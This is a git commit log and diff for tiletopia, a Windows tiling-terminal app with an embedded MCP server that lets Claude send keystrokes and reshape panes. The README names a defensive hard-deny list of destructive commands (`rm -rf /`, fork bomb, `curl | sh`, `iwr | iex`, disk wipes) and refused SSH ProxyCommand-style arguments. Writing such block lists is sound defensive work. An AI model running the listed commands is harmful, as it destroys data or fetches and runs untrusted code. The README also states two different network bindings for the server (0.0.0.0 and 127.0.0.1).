Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 19:27:50 +01:00
2a0c096095 Fix broadcast no-op: stop depending on orch object in LeafPane effects
The bug: clicking 📡 made the visual update (orange border) but typing
in a broadcasting pane only wrote to that pane — peers never received
the keystrokes.

Root cause: the orch context value (useMemo'd over activeLeafId,
distros, and the operation callbacks) is recreated every time
activeLeafId changes (i.e. every click). useEffect cleanups in
LeafPane that had `orch` in their deps fired their cleanup-then-setup
cycle on every click. The unmount-cleanup for paneId registration
ran `orch.registerPaneId(leaf.id, null)`, silently deleting paneIds
from App's paneIdByLeafRef map — so when broadcastFrom later walked
the tree looking up peers, the map returned undefined for every leaf
and the actual writeToPane calls never happened.

Fix: depend on the specific stable method references
(`orch.registerPaneId`, `orch.notify`, etc.) instead of the orch
object itself. The methods are all useCallback'd with stable deps
in App.tsx, so their references don't change across orch object
recreations — effect deps stay stable, no spurious cleanup.

Applied the same fix to all orch-using effects/callbacks in
LeafPane (commitLabel, pickDistro, onPaneClick, onPaneSpawned,
onXtermFocus, onTerminalInput, idle interval, paneId cleanup).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 18:46:56 +01:00
c8234442f1 README: update for the React rewrite
- Stack: Svelte 5 → React 18, with a note about the migration history
- Build: pnpm check is now tsc --noEmit, not svelte-check; mention pnpm build
- Architecture: rename component refs to .tsx; describe React Context for
  shared orchestration state instead of the old PaneOps drill-down
- Features: mention the new global 📡 titlebar toggle alongside the
  per-pane chips

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 18:41:26 +01:00
58 changed files with 16125 additions and 506 deletions

2
.gitignore vendored
View file

@ -1,6 +1,7 @@
# Node / build
node_modules/
dist/
dist-mcpb/
.svelte-kit/
.pnpm-store/
*.tsbuildinfo
@ -28,3 +29,4 @@ src-tauri/gen/
/shot*.png
/tiletopia-window.png
/tilescript.ps1
/cargo-test.lo*

View file

@ -11,7 +11,7 @@ A Windows desktop app for running and arranging many WSL terminals at once. Buil
## Project-specific notes
- **Stack:** Tauri 2 + Svelte 5 + TypeScript + Vite + pnpm + xterm.js + `portable-pty`. Mirrors `~/claude/projects/claude-usage-widget/` for toolchain choices.
- **Stack:** Tauri 2 + React 18 + TypeScript + Vite + pnpm + xterm.js + `portable-pty`. Mirrors `~/claude/projects/claude-usage-widget/` for toolchain choices. (Originally Svelte 5; migrated to React in commit `774b863` — released as 0.2.0.)
- **Build target:** Windows `.exe` only. Rust toolchain lives on the Windows host, not WSL.
- **Source location:** `D:\dev\tiletopia\` (Windows-native NTFS). Symlinked into WSL at `~/claude/projects/tiletopia` for editing convenience, but **all pnpm and cargo commands must run on the Windows host** against the `D:\` path — never the `\\wsl.localhost\...` UNC path (pnpm 11.x crashes inside `isDriveExFat`, and the underlying error gets swallowed).
- **Run:**
@ -21,6 +21,6 @@ A Windows desktop app for running and arranging many WSL terminals at once. Buil
pnpm tauri dev # iterate
pnpm tauri build # NSIS installer at src-tauri\target\release\bundle\nsis\
```
- **Validate in WSL:** `pnpm check` (svelte-check) runs in WSL and validates the Svelte/TS side without needing the Rust toolchain.
- **Validate in WSL:** `pnpm check` (`tsc --noEmit`) runs in WSL and validates the React/TS side without needing the Rust toolchain.
- **Plan reference:** `~/.claude/plans/imperative-coalescing-feigenbaum.md` — the approved plan that drove the scaffold and the full M0M5 milestone roadmap.
- **Archived idea history:** the brainstorm phase + full session log lives at `~/claude/archive/ideas/wsl-mux/plan.md`.

215
README.md
View file

@ -2,11 +2,15 @@
A Windows desktop app for running and arranging many WSL terminals at once. Built primarily for managing multiple `claude` sessions across projects in parallel; works for any multi-shell workflow.
- Tiling layout — recursive splits, draggable dividers, preset layouts (single / 2-col / 3-col / 2-row / 2×2)
- Per-pane distro + cwd + label, persisted across restarts
- Broadcast input to a group of panes
- Idle-detection toasts when a pane goes quiet
- Tiling layout — recursive splits, draggable dividers, drag-to-swap pane headers, preset layouts (single / 2-col / 3-col / 2-row / 2×2)
- Tabs — each tab is an independent tile layout (one per project); PTYs in inactive tabs keep running
- Multi-window — pop a pane into its own window (right-click its toolbar, or drag it past the window edge); the PTY survives the move and scrollback replays
- Three shell kinds per pane: WSL distros, PowerShell, saved SSH hosts (with optional Windows Credential Managerstored passwords for auto-typing at the prompt)
- Per-pane distro + cwd + label + font-size + broadcast state, persisted across restarts
- Broadcast input to a group of panes (per-pane 📡 chip, or global toggle in the titlebar)
- Idle indicator (red border + titlebar "N idle" badge) when a pane goes quiet
- Ctrl+K palette to fuzzy-jump between panes
- **MCP server** so a Claude session — Claude Desktop, Claude Code, or one running inside a tiletopia pane itself — can read scrollback, send keystrokes, spawn / close / swap panes, change layout, and manage SSH hosts. Tiered policy with confirm modals + a compiled-in hard-deny list (`rm -rf /`, fork bomb, `iwr | iex`, etc.) you can't disable.
## Install
@ -21,22 +25,190 @@ A Windows desktop app for running and arranging many WSL terminals at once. Buil
## Using it
- **Split panes**`⇥` in the pane toolbar splits right, `⇣` splits down. The new pane inherits the parent's distro + cwd.
### Shortcuts and tips
<!-- SHORTCUTS:START -->
#### Keyboard shortcuts
**Layout**
| Key | Action |
|---|---|
| `Ctrl+Shift+E` | Split active pane to the right |
| `Ctrl+Shift+O` | Split active pane downward |
| `Ctrl+Shift+W` | Close active pane |
| `Ctrl+Shift+P` | Promote active pane out one level (turns a nested pane into a full row/column; self-inverse) |
**Tabs**
| Key | Action |
|---|---|
| `Ctrl+T` | New tab (blank workspace, one pane) |
| `Ctrl+Shift+T` | Close current tab (confirms when the tab has live panes) |
| `Ctrl+PageDown / Ctrl+PageUp` | Switch to next / previous tab |
| `Ctrl+1 … Ctrl+9` | Switch to tab 1 … 9 |
**Multi-window**
| Key | Action |
|---|---|
| `Right-click pane toolbar → Move to new window` | Pop the active pane into a fresh tiletopia window (PTY survives the move; scrollback ring replays) |
| `Drag pane toolbar past the window edge` | Same as the right-click action — release the drag well outside the window to detach into a new window |
**Navigation**
| Key | Action |
|---|---|
| `Ctrl+K` | Open jump-to-pane palette |
| `Ctrl+Shift+← / → / ↑ / ↓` | Focus neighbour pane in that direction (window-level — works even when no terminal is focused) |
| `Ctrl+Alt+← / → / ↑ / ↓` | Focus neighbour pane in that direction (from inside the terminal — intercepted before the PTY sees it) |
| `Ctrl+Alt+H / J / K / L` | Same as Ctrl+Alt+Arrow but in Vim-style HJKL order (left / down / up / right) |
| `Alt+1 … Alt+9` | Focus the Nth pane in layout order (DFS: left-to-right, top-to-bottom); clamped to pane count. Note: swallows bare Alt+digit — shells using readline digit-argument or vim buffer-jump may conflict. |
**Broadcast**
| Key | Action |
|---|---|
| `Ctrl+Shift+B` | Toggle broadcast on active pane |
| `Ctrl+Shift+Alt+B` | Toggle broadcast on ALL panes (same as titlebar 📡) |
**Font size**
| Key | Action |
|---|---|
| `Ctrl+= / Ctrl+- / Ctrl+0` | Zoom active pane in / out / reset |
| `Ctrl+Shift+= / Ctrl+Shift+- / Ctrl+Shift+0` | Same, applied to every pane |
**Terminal**
| Key | Action |
|---|---|
| `Ctrl+Shift+C / Ctrl+Shift+V` | Copy selection / paste in terminal |
| `Ctrl+Shift+F` | Open find-in-scrollback bar for the focused pane |
| `Enter / Shift+Enter` | Next / previous match (while search bar is focused) |
| `Escape` | Close find bar and return focus to terminal |
**Help**
| Key | Action |
|---|---|
| `F1` | Show this help overlay |
#### Tips
- **Per-pane shell picker** — Click the distro chip in any pane's toolbar to switch between WSL distros, PowerShell, or a saved SSH host. The pane respawns with the new shell.
- **SSH host manager** — Titlebar 🔑 SSH hosts opens the manager. Add hostname / user / port / identity file / jump host / extra ssh args. Saved hosts appear in every pane's dropdown.
- **Saved passwords** — Optionally save a host's password — stored in Windows Credential Manager (DPAPI-encrypted), never written to hosts.json. When ssh prompts on connect it's typed automatically. Hosts with a saved password show 🔒 in the list.
- **Clickable links** — http and https URLs in terminal output get underlined and open in your default browser on click.
- **Drag pane headers to swap or detach** — Grab a pane's title bar and drag onto another pane to swap their tree positions. Drag well outside the window edge (more than ~60px past) and release to detach the pane into a new window — same mechanism as the right-click 'Move to new window' action, PTY stays alive.
- **Workspace persistence** — Layout, labels, distro choices, and SSH hosts auto-save to %APPDATA%/com.megaproxy.tiletopia (debounced 500ms). Closed panes don't come back — only the structure is restored, shells spawn fresh on next launch.
- **Tabs (workspaces)** — Each tab is an independent tile layout — useful for keeping one tab per project. PTYs in non-active tabs keep running (a Claude session in tab A keeps going while you work in tab B). New tab starts with one default-shell pane; close confirms when the tab has live panes. Tabs auto-save to the same workspace.json.
- **MCP server (let Claude drive the workspace)** — Titlebar 🤖 opens the MCP control panel. Start the server, then for Claude Desktop click 'Download .mcpb' and drag the file into Settings → Extensions — zero-config because the bundle reads your bearer token from %APPDATA% at launch (no copy-paste, survives token rotation). For Claude Code (terminal CLI) use the fallback snippet in the panel: it wires npx mcp-remote as a stdio shim because Claude Code's HTTP-MCP client ignores static bearer auth and tries OAuth instead. URL + token persist across restarts; Regenerate the token in the panel if it leaks. Default-deny per pane: toggle 🤖 on each pane's toolbar to expose it to MCP.
<!-- SHORTCUTS:END -->
Shortcuts work while a terminal is focused — we capture the key before xterm.js sees it. They don't fire while you're typing into a label edit or the palette input, so those still work normally. `Ctrl` and `⌘` (Cmd) are interchangeable.
Font size persists per pane in `workspace.json`, so a zoomed pane stays zoomed across restarts.
> The shortcut tables and tips above are generated from `src/lib/shortcuts.ts` (the single source of truth shared with the in-app help overlay). To change them, edit that file and run `pnpm gen:readme`.
### Mouse + toolbar
- **Split panes**`⇥` in the pane toolbar splits right, `⇣` splits down. The new pane inherits the parent's distro; the cwd defaults to `~` in the WSL distro.
- **Close pane**`×`. The sibling expands to fill.
- **Rename pane** — click the label in the toolbar, type, Enter (Esc to cancel).
- **Rename pane** — click the label in the toolbar, type, `Enter` (`Esc` to cancel).
- **Change distro** — click the small `Ubuntu ▾` chip; pick a distro from the popover. The pane respawns (old shell is killed).
- **Broadcast** — toggle `📡` on two or more panes (orange border). Typing in any of them mirrors to all.
- **Preset layouts** — titlebar buttons: `1` / `2H` / `3H` / `2V` / `2×2`. Confirms before replacing a multi-pane layout.
- **Swap panes** — click-and-drag a pane's toolbar onto another pane. The two leaves trade tree slots; both shells stay alive, both scrollbacks intact.
- **Active pane** — click any pane → blue border + keyboard focus.
- **Jump to pane**`Ctrl+K` opens a fuzzy picker over label / distro / cwd. ↑/↓ to navigate, Enter to focus, Esc to close.
- **Idle toasts** — top-right notification when a pane goes quiet for 5 s. Useful for "I started a long task; tell me when it's done."
- **Resize** — drag the gutter between two panes. A 180 px minimum is enforced on both sides.
### Broadcast, idle, presets
- **Broadcast** — toggle `📡` on two or more panes (orange border). Typing in any of them mirrors to the rest. The titlebar `📡 all off` / `📡 all on` / `📡 N/M` button flips the whole group at once.
- **Idle indicator** — when a pane goes quiet for 5 s, its border turns red and its "alive" toolbar tag swaps to red "idle". The titlebar also shows an `N idle` count. Clears the moment new output arrives. Active + broadcasting borders take precedence so the focus indicator isn't masked.
- **Preset layouts** — titlebar buttons `1` / `2H` / `3H` / `2V` / `2×2`. Existing panes are spliced into the new shape in order (ids, shells, scrollback preserved); extra slots spawn fresh shells. Only prompts if the preset has fewer slots than you currently have panes (those overflow shells get killed).
Layout + per-pane settings auto-save to `%APPDATA%\com.megaproxy.tiletopia\workspace.json` (debounced 500 ms).
### MCP server (Claude can drive the workspace)
The titlebar 🤖 button opens a small panel that starts an MCP (Model Context Protocol) server. A Claude session — Claude Desktop, Claude Code, or one running inside a tiletopia pane itself — connects to it, reads scrollback, waits for commands to settle, and (with your permission) drives the workspace: sends keystrokes, spawns / closes / swaps / reshapes panes, manages SSH hosts.
- **Off by default.** Click the button, hit **Server: ON** to start. The panel shows the URL + bearer token and a ready-to-paste config snippet. Both port and token persist across restarts (saved to `%APPDATA%\com.megaproxy.tiletopia\mcp.json`); use **Regenerate** if the token leaks.
- **Default-deny per pane.** Toggle the 🤖 chip in any pane's toolbar to allow MCP to see it. Panes without the chip on are invisible to the server.
- **Three-tier policy** (allow / ask / deny) with a confirm modal on every Ask, configurable in the panel's **Policy** tab. The default is "ask on everything"; add bare tool names like `set_label` to **allow** to skip the prompts, or globs like `write_pane(rm *)` to **deny** outright.
- **Compiled-in hard-deny list** of 14 patterns the user can NOT disable: `rm -rf /`, fork bomb, `dd of=/dev/sd...`, `curl | sh`, `Remove-Item -Recurse -Force C:\`, `iwr | iex`, etc. Checked against every `write_pane` text before policy. Best-effort accident prevention, not a sandbox — alias and quoting tricks bypass it.
- **SSH safeguards.** Three switches in the Policy tab, all off by default: `allow_open_ssh` (gates `connect_host` / `spawn_pane(ssh)`), `auto_allow_spawned_ssh` (gates whether spawned-by-Claude SSH panes start MCP-allowed), `allow_add_host` (gates `add_host` / `delete_host` saved-list edits). `add_host`'s `extraArgs` are also sanitised — `ProxyCommand` / `LocalCommand` / `KnownHostsCommand` / `PermitLocalCommand=yes` (CVE-2023-51385 class) are refused.
- **Audit log** in the panel's **Audit** tab — last 200 tool calls with arg summary, outcome, duration. Ephemeral (cleared on restart).
- **Saved SSH passwords are never exposed** through the MCP surface.
- **Bound to all interfaces** (`0.0.0.0`). The bearer token is the only auth — don't enable the server on an untrusted network.
**Tools currently exposed:**
| Tool | What it does |
|---|---|
| `read_pane(leaf_id, last_lines?, after_seq?)` | Read a pane's scrollback. Returns text + `__seq__=N` marker for incremental polling. |
| `wait_for_idle(leaf_id, idle_ms?, timeout_ms?)` | Block until a pane is quiet — useful for command-completion sync. |
| `write_pane(leaf_id, text)` | Send keystrokes. Rate-limited (30 calls / 10s per pane). Hard-deny + user policy apply. |
| `set_label`, `close_pane`, `swap_panes`, `promote_pane`, `apply_preset` | Tree-shape and metadata operations. |
| `spawn_pane`, `connect_host` | Open new local / SSH panes. SSH gated by `allow_open_ssh` safeguard. |
| `add_host`, `delete_host` | Manage the saved SSH hosts list. Gated by `allow_add_host`; `extraArgs` sanitised. |
#### Claude Desktop setup (one-click via `.mcpb` bundle — recommended)
The MCP panel has a **Download .mcpb** button that fetches a packaged Claude Desktop extension (an `.mcpb` file). Drag it into Claude Desktop's *Settings → Extensions* pane and Claude will auto-discover tiletopia — no config editing, no copy-pasting tokens.
The bundle ships a tiny wrapper that reads your per-install bearer token straight from `%APPDATA%\com.megaproxy.tiletopia\mcp.json` at launch, so:
- It carries **no secrets** — the same file works for every tiletopia install.
- **Token regeneration** in the panel keeps working transparently; the next time Claude Desktop launches the extension, it'll pick up the new token.
- Requires `npx` (Node 18+) on PATH because the wrapper still talks to tiletopia through `mcp-remote` (same reason as the manual recipe below).
You can also rebuild the bundle from source:
```sh
pnpm run build:mcpb # writes dist-mcpb/tiletopia.mcpb
```
#### Claude Code setup (via `mcp-remote` stdio shim — fallback / manual recipe)
Claude Code (the terminal CLI) doesn't accept `.mcpb` bundles yet, and its HTTP-MCP client currently tries OAuth discovery and ignores static `headers` auth (Anthropic [#17152](https://github.com/anthropics/claude-code/issues/17152), [#46879](https://github.com/anthropics/claude-code/issues/46879)). The [`mcp-remote`](https://www.npmjs.com/package/mcp-remote) stdio shim transparently proxies the HTTP endpoint with the bearer header attached, sidestepping the OAuth flow.
The panel's config snippet uses this shim by default — paste it into your project's `.mcp.json`:
```json
{
"mcpServers": {
"tiletopia": {
"command": "npx",
"args": [
"-y", "mcp-remote",
"http://127.0.0.1:47821/mcp",
"--allow-http",
"--header", "Authorization: Bearer <token-from-panel>"
]
}
}
}
```
Requires `npx` (Node 18+) on the client side. Other MCP clients that handle static bearer auth correctly can skip the shim and connect directly to the URL + token shown in the panel.
#### WSL connectivity
When Claude runs inside WSL, swap `127.0.0.1` for the WSL gateway IP (`ip route show default | awk '{print $3}'` inside WSL — note that this changes after each WSL restart) **or** enable mirrored networking (`networkingMode=mirrored` in `%UserProfile%\.wslconfig` then `wsl --shutdown`; Win 11 22H2+). Allow the port through Windows Defender Firewall once — elevated PowerShell:
```powershell
New-NetFirewallRule -DisplayName "tiletopia MCP" -Direction Inbound `
-Action Allow -Protocol TCP -LocalPort 47821 -Profile Any
```
## Stack
- **Tauri 2** (Rust backend, WebView2 frontend) — small bundle, native NSIS installer.
- **Svelte 5** + TypeScript + Vite + pnpm.
- **React 18** + TypeScript + Vite + pnpm. (The v0.1.0 release was Svelte 5; v0.2.0+ is React after a ground-up rewrite of the frontend. Same data model, same backend, more reliable reactivity through the recursive Pane chain. The Svelte version is preserved on the `svelte-archive` branch.)
- **xterm.js** + `@xterm/addon-fit` for terminal rendering.
- **`portable-pty`** (Rust) spawning `wsl.exe -d <distro>` PTYs.
@ -57,18 +229,27 @@ pnpm tauri build # NSIS installer at src-tauri\target\release\bundle\nsis
### Run the tests
```sh
pnpm test # vitest, 43 cases on the layout tree
pnpm test # vitest — currently 72 cases (layout tree)
pnpm test:watch
pnpm check # svelte-check
pnpm check # tsc --noEmit (strict TypeScript pass)
pnpm build # tsc -b && vite build — full production frontend bundle
```
The test suite covers the pure helpers in `src/lib/layout/tree.ts`. UI behavior, broadcast routing, and Tauri integration are manually tested.
```powershell
cd src-tauri
cargo test --lib # 138+ Rust unit tests (mostly hard-deny pattern fuzzing + extraArgs sanitiser)
```
The test suites cover pure helpers (`src/lib/layout/tree.ts`) on the frontend and the hard-deny regex set + SSH `extraArgs` sanitiser + MCP policy evaluator on the backend. UI behaviour, broadcast routing, MCP end-to-end, and Tauri IPC are manually verified — see `scripts/pr4-verify.mjs` for a Node-driven MCP smoke test you can run against the dev app.
## Architecture
- **Backend** (`src-tauri/src/pty.rs`): `PtyManager` holding `Mutex<HashMap<PaneId, PaneHandle>>` of `portable-pty` children. Each spawned pane gets a background reader thread that emits `pane://{id}/data` events (base64 byte chunks). Counterparts: `write_to_pane` / `resize_pane` / `kill_pane`. Workspace persistence via `save_workspace` / `load_workspace` writes to `app.path().app_config_dir()` with atomic tmp + rename.
- **Layout** (`src/lib/layout/tree.ts`): binary tree of splits. `HSplit | VSplit` internal nodes with a ratio, `Leaf` at the bottom — same model as i3 / tmux / Zellij. Adaptive resize falls out of mutating one parent ratio. Pure helpers (`splitLeaf`, `closeLeaf`, `changeDistro`, etc.) live in `tree.ts`; the rendering chain (`Pane.svelte``SplitNode.svelte` / `LeafPane.svelte`) is thin.
- **Orchestration** — broadcast routing, idle detection, palette, active-pane focus all live in `App.svelte` and reach the panes via a `PaneOps` bundle (`src/lib/layout/ops.ts`) drilled through the Pane chain.
- **PTY backend** (`src-tauri/src/pty.rs`): `PtyManager` holding `Mutex<HashMap<PaneId, PaneHandle>>` of `portable-pty` children. Spawns `wsl.exe` / `powershell.exe` / `ssh.exe` depending on the leaf's `shellKind`. Each spawn gets a background reader thread that emits `pane://{id}/data` events (base64 byte chunks) AND mirrors bytes into a per-pane 256 KB scrollback ring that the MCP server reads from. Counterparts: `write_to_pane` / `resize_pane` / `kill_pane`. Workspace + hosts + MCP config persisted via `save_*` / `load_*` to `app.path().app_config_dir()` with atomic tmp+rename.
- **SSH hosts** (`src-tauri/src/hosts.rs`, `src-tauri/src/creds.rs`): `SshHost` shape with optional user / port / identity / jump host / extra ssh args. Passwords stored in Windows Credential Manager via `keyring-core` 1.0 + `windows-native-keyring-store` — never on disk, never in IPC events, never in the MCP surface. Reader thread autotypes the password at the first `password:` / `passphrase` prompt within 30 s of spawn, then disarms.
- **MCP server** (`src-tauri/src/mcp.rs`): embedded `rmcp` Streamable HTTP server on 127.0.0.1 with bearer-token auth, default port 47821 (overridable; falls back to OS-picked if taken). 12 tools — 2 read (`read_pane`, `wait_for_idle`) + 10 write (`set_label`, `close_pane`, `swap_panes`, `promote_pane`, `apply_preset`, `spawn_pane`, `connect_host`, `write_pane`, `add_host`, `delete_host`). Write tools dispatch through the event/reply pattern in [src-tauri/src/mcp.rs](src-tauri/src/mcp.rs) — frontend owns tree authority, backend emits a request event, frontend resolves via `mcp_action_reply`. Per-leaf `mcpAllow` gate (default-deny) filters what the server can see.
- **MCP policy** (`src-tauri/src/mcp_policy.rs`): three-tier `allow / ask / deny` precedence (deny-first), glob matcher (`*` only, no regex), shell-operator-aware subcommand splitting on `&& || ; | |& & \n`. **Hard-deny pass** runs against both the whole input and each subcommand to catch patterns that span operators (fork bomb, `curl | sh`). Hard-deny list is 14 patterns compiled in, non-overridable. Plus `SshSafeguards` switches for SSH-spawn / SSH-auto-allow / saved-host edits.
- **Layout** (`src/lib/layout/tree.ts`): binary tree of splits. `HSplit | VSplit` internal nodes with a ratio, `Leaf` at the bottom — same model as i3 / tmux / Zellij. Adaptive resize falls out of mutating one parent ratio. Pure helpers (`splitLeaf`, `closeLeaf`, `setLeafShell`, `swapLeaves`, `promoteLeaf`, etc.) live in `tree.ts` with 72 vitest cases; the rendering chain (`Pane.tsx``SplitNode.tsx` / `LeafPane.tsx`) is thin.
- **Orchestration** — broadcast routing, idle detection, palette, active-pane focus, MCP request dispatcher all live in `App.tsx`. Shared state and operations reach descendants through a React Context (`src/lib/layout/orchestration.tsx`), so each LeafPane reads `activeLeafId`, `distros`, and the tree-mutation methods directly via `useOrchestration()` — no prop drilling through the recursive Pane chain.
## License

658
memory.md
View file

@ -4,7 +4,7 @@ Durable memory for this project. Read at session start, update before session en
## Decisions & rationale
- **Stack: Tauri 2 + Svelte 5 + TypeScript + Vite + pnpm + xterm.js + `portable-pty`.** Mirrors `claude-usage-widget` so we reuse a known-good Windows-targeting toolchain (MSVC + WebView2 + NSIS installer). No new technology bets stacked on top of the new product bet.
- **Stack: Tauri 2 + React 18 + TypeScript + Vite + pnpm + xterm.js + `portable-pty`.** Originally Svelte 5; migrated to React in commit `774b863` (released as 0.2.0). Mirrors `claude-usage-widget`'s Windows-targeting toolchain (MSVC + WebView2 + NSIS installer). No new technology bets stacked on top of the new product bet. **CLAUDE.md still says Svelte 5 — should be updated when convenient.**
- **Layout model: binary tree of splits, NOT free-form rectangles.** Same as i3 / tmux / Zellij. Each internal node is HSplit/VSplit + ratio; each leaf is a terminal. Dragging a gutter mutates one parent ratio; both sibling subtrees reflow; descendants get `resize`. Adaptive resize falls out automatically with no constraint solver. Preset layouts ("3 columns", "2×2") are pre-built trees.
- **PTY backend: `portable-pty` (same crate WezTerm uses).** Spawns `wsl.exe -d <distro> --cd <path>` on Windows. Manager is a `Mutex<HashMap<PaneId, PaneHandle>>` in Rust; each pane has a background reader thread that emits `pane://{id}/data` events.
- **Wire format: base64-encoded byte chunks via Tauri events.** xterm.js's `onData` emits strings; we UTF-8 encode then base64. Slower than a typed-array payload but trivially correct. Revisit if throughput matters.
@ -34,14 +34,668 @@ Durable memory for this project. Read at session start, update before session en
- [ ] **Configurable idle threshold.** Hardcoded 5000ms in `LeafPane.svelte`. Should move into a settings panel; M5 territory.
- [x] ~~**Logic tests for `tree.ts`.**~~ Vitest, 43 cases, runs via `pnpm test`. Done 2026-05-22.
- [ ] **Component-level tests** (vitest + jsdom + @testing-library/svelte) — would have caught the M4 active-border reactivity bug. Useful when the Svelte component surface stops being trivial; defer until/unless something else goes sideways.
- [ ] **Multi-workspace tabs.** Several independent layouts the user can switch between. Saved as `workspaces.json` with `{ current: id, list: [{ id, name, tree }] }`. Not on the M0M5 critical path; either bolt on after M5 ship or fold into a "tabs" minor milestone.
- [x] ~~**Multi-workspace tabs.**~~ Done 2026-05-28. Implementation lives under "Tabs + multi-window pane transfer" session log. Envelope shape ended up as `{ version: 2, workspaces: [{ id, name, tree }] }` (no separate `current` field — per-window in React state only).
- [x] ~~**M5 — Ship infrastructure.**~~ Custom icon, version bumped to 0.1.0, `scripts/release.sh` for one-shot tag+upload, README install section. Done 2026-05-22. **Next step (user action):** run `pnpm tauri build` on Windows then `scripts/release.sh v0.1.0` from WSL to cut the actual release.
- [ ] **Native Windows shells (cmd / pwsh)?** `portable-pty` supports them for free; keep the option open. Decide whether to expose in UI at M3.
- [ ] **Persistent scrollback across app restarts.** Would need an out-of-process mux daemon. Big scope creep; explicitly deferred past v1.
- [ ] **Code markup / syntax highlighting in-app (VSCode-style).** User idea 2026-05-28 — "would be kind of neat." Two readings, different feasibility: (a) **highlight code in terminal output** — not really doable in xterm.js; it renders raw bytes/ANSI and has no concept of "this region is Python." Would need to detect code blocks and re-emit ANSI color, which is fragile and fights TUIs like claude that already color their own output. (b) **a dedicated editor/viewer pane type** alongside terminal panes — embed Monaco or CodeMirror as a new LeafNode kind, open a file from the pane's cwd, get real VSCode-grade highlighting + read/scroll (maybe edit). This is the tractable version: the layout tree already supports heterogeneous leaves, so it's "add a non-xterm pane kind" rather than reworking the renderer. Scope: pick editor lib (CodeMirror 6 is lighter than Monaco for an embed), file-open IPC over WSL paths, decide read-only vs editable. Defer — nice-to-have, not core to the multi-terminal purpose.
- [ ] **Keybinding philosophy.** Copy tmux, copy WezTerm, or invent? Decide at M3.
- [ ] **Help (?) overlay.** Small `?` icon in the titlebar, opens a modal listing all keyboard shortcuts (split / close / promote / broadcast / palette / font size / nav) and quick tips on shell-picker dropdown + SSH host manager + saved-password autotype. Same modal style as `Palette` / `HostManager`. Source of truth lives in one place — refactor the README shortcuts table to be generated from it (or vice versa) so they can't drift.
- [ ] **MCP server: Claude controls tiletopia.** Expose a Model Context Protocol server (stdio transport, runs inside the Tauri app or a sidecar) so a Claude session — running anywhere, including inside one of tiletopia's own panes — can drive the workspace. Capabilities to expose as MCP tools / resources:
- **Inspect**: `list_panes()` (id, label, shellKind, distro/host, cwd, active flag), `read_pane(id, last_lines?)` (scrollback tail), `read_layout()` (the tree JSON).
- **Drive sessions**: `write_pane(id, text)` (send keys/commands; same path as broadcast), `wait_for_idle(id, timeout)` for command-completion synchronization.
- **Reshape**: `spawn_pane(spec, parent_id?, orientation?)` (WSL distro / PowerShell / saved SSH host), `close_pane(id)`, `apply_preset(name)`, `promote_pane(id)`, `set_label(id, label)`, `swap_panes(id, id)`.
- **SSH hosts**: `list_hosts()`, `add_host(...)`, `connect_host(host_id) → pane_id` (spawn + return). Read-only access to `hasPassword` flag; **never expose saved passwords** through the MCP surface.
- **Notifications**: `notify(message)` for status updates Claude wants to surface.
- Authentication: bind to localhost only; consider a per-session token written to the app config dir that the MCP client must present. Treat the MCP socket as trusted only to processes the user explicitly points at it — anyone with access to the user's account could read commands and stream PTY output. Surface this caveat in the help overlay.
- Tauri integration: Rust-side MCP server using a published crate (or hand-rolled JSON-RPC); reuses the existing `PtyManager` + `hosts.json` + workspace state. Frontend gets read-only events when the MCP causes a layout change so the UI reflects it without races. Big — milestone-scale work; needs a design doc before code.
- **Status:** v1 (read-only, 2026-05-25) + v2 (write surface, 2026-05-26 across PRs 14) shipped. All 11 originally-planned write tools are live: set_label, close_pane, swap_panes, promote_pane, apply_preset, spawn_pane, connect_host, write_pane, add_host, delete_host. Open polish items live in the per-session-log "follow-ups" sections.
## Feature backlog — 2026-05-28 fan-out research
Four-agent research pass (terminal-landscape, AI-orchestration, xterm/Tauri ecosystem, codebase gap-analysis) into things to add. **Headline finding:** tiletopia already owns the hard primitives (tiling, multi-window, broadcast, MCP control surface); the real gap vs Conductor/Crystal/claude-squad/Vibe-Kanban is *git-worktree isolation + per-session status/cost/diff visibility*. Full agent deliverables are in this session's conversation; condensed here.
**→ Exploring first (user-selected 2026-05-28):**
- [x] ~~**Per-session cost / token tracking.**~~ Done (code) 2026-05-28 — **WSL-only v1, pending Windows runtime verify.** Backend `src-tauri/src/usage.rs` (`get_claude_usage(distros)` command): probes `$HOME` per distro via `wsl.exe`, reads `~/.claude/projects/*/*.jsonl` over the `\\wsl.localhost\<distro>` UNC share, tallies `message.usage` **per model per assistant line** (sessions can switch models). Cached by `(path,size,mtime)`; recency-capped 30d/50 sessions. Frontend: `src/lib/usage.ts` holds the editable pricing table (per-MTok, matched by opus/sonnet/haiku substring) + cost/format helpers; `UsagePanel.tsx` (MCP-panel modal pattern) lists sessions, highlights those whose transcript `cwd` matches an open pane (`[pane: label]`); titlebar 💰 total chip; App polls 20s (visible) / 5s (panel open); **Ctrl+Shift+U** opens it. **Design choice:** session-list attribution (not 1:1 pane binding) — avoids the unsolvable "2 claudes in one cwd" ambiguity. **Caveats:** cost is an estimate (cache-creation priced at 5m rate; rates hardcoded, may drift); panes with no explicit cwd (`~`) won't highlight; PowerShell/SSH show nothing. Plan: `~/.claude/plans/greedy-cooking-flask.md`.
- **PIVOTED 2026-05-28 → per-pane context-fill indicator (replaces the panel).** User decided lifetime token totals + $ aren't worth it on a subscription; what's actionable is *current context-window occupancy* per pane (spot the one needing `/compact`). Removed `UsagePanel`, the 💰 titlebar chip, and `Ctrl+Shift+U`. Repurposed `usage.rs`: `get_pane_context` returns each recent session's **current** occupancy = the LAST assistant turn's `input + cache_read + cache_creation` tokens (verified ~274k on this 1M session). `src/lib/usage.ts` now does window inference (200k vs 1M by whether occupancy already exceeds 200k — model id doesn't encode the variant), %, color ramp. App polls 15s (visibility-gated) → `cwd→SessionContext` map via orchestration; `LeafPane` renders a slim fill bar + % in the header, matched by `leaf.cwd`. **Also fixed narrow-pane toolbar** (user report: close × clipped when slim): a `ResizeObserver` in LeafPane sets `leaf--narrow`/`leaf--xnarrow` tiers; label shrinks first, split/status/secondary chips drop by tier, close × + context indicator stay pinned-right + visible down to the 180px min. Plan: `~/.claude/plans/greedy-cooking-flask.md` (rewritten for the pivot). **Pending Windows runtime verify.** Window-size 200k/1M is inferred (approx near boundary); `~`-spawned / cd'd panes may not match their session.
